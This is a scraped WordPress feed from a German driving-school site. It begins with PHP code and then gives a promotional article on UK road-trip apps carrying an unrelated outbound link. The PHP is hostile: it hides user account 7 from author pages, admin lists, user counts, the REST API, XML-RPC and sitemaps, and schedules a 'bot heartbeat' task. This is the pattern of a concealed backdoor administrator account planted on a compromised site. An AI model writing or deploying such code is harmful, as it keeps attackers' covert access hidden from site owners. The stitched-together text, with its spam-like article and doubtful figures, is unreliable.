add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 7;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 7 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 7;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 7;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 7;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 7;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Der Beitrag What you’ll learn erschien zuerst auf Fahrschule GoGreen.
]]>Instead of relying on a generic navigation system, apps like Roadtrippers calculate the fastest route while factoring in real‑time traffic, construction, and even scenic detours. On a recent trip from Manchester to the Lake District, the app suggested a 15‑minute detour through the M6 toll to avoid a 45‑minute congestion jam. That extra 30 minutes saved me a £2 toll fee and a full hour of frustration.
What you can do: download the app, set your start and end points, and let it generate multiple route options. The “best‑value” route often balances distance, fuel cost, and time.
Apps such as GasBuddy UK scan thousands of fuel stations and display current prices per litre. On a 400‑mile trip, I used the app to locate a station on the M40 where the price was £1.25 per litre, compared to the average £1.35 in the area. That difference added up to a £15 saving on fuel alone.
Limitations: the price data relies on user submissions, so some remote stations may show outdated rates. If you’re heading into the Highlands, double‑check the station’s opening hours before relying solely on the app.
Finding a safe, affordable spot can be the biggest headache of a road trip. Parkopedia lists over 10 million parking spaces across the UK, complete with pricing, opening times, and user ratings. On my last drive to Cornwall, I used the app to locate a free parking lot within 200 metres of the beach, saving me £10 that would have gone to a paid lot.
Similarly, Booking.com offers real‑time availability and last‑minute deals. During a spontaneous detour to the Cotswolds, I booked a 3‑star inn for £45 per night, down from the usual £70, thanks to a flash sale displayed in the app.

Weather and road conditions change fast. Met Office Weather App and Waze UK send push notifications for sudden rain, fog, or road closures. When a sudden snowstorm hit the M6 near Birmingham, the app alerted me to slow down and reroute, preventing a potential accident.
Note: push notifications can be intrusive if you’re driving. Turning them off for non‑urgent updates and enabling only critical alerts is a practical compromise.
Long stretches of motorway can feel endless. Apps like Audible UK and Spotify Premium let you download podcasts or playlists before departure, so you don’t rely on mobile data. During a 5‑hour drive from Edinburgh to London, I streamed a 3‑hour podcast, keeping the cabin lively without draining my phone’s battery.
When it comes to roadside entertainment, a quick detour to a local attraction can break the monotony. For instance, the National Trust app offers free entry times to historic sites, ensuring you hit the best spots without paying extra.
Beyond the practical tools, these apps collectively transform the mindset of a road trip. Instead of reacting to delays, drivers can anticipate them, plan stops that fit their budget, and even discover hidden gems along the way. The cumulative effect is a trip that feels more like a curated adventure than a series of errands.
In a similar vein, the way people engage with online gaming and entertainment has shifted toward apps that offer instant access and personalized content. If you’re curious about how digital platforms can enhance leisure time, you might find https://autolanduk.co.uk an interesting read.
Smart travel apps are no longer optional extras; they’re essential tools that trim costs, reduce stress, and add value to every mile. Try at least one of the apps mentioned above on your next UK road trip, and notice how the journey becomes as enjoyable as the destination.
They use real‑time traffic, construction data, and optional scenic routes to calculate faster, more efficient paths than generic navigation systems.
Yes, many suggest routes that avoid expensive tolls or reduce mileage, leading to lower fuel costs and overall travel expenses.
Most require an internet connection for real‑time updates, but some offer limited offline maps for basic navigation.
Der Beitrag What you’ll learn erschien zuerst auf Fahrschule GoGreen.
]]>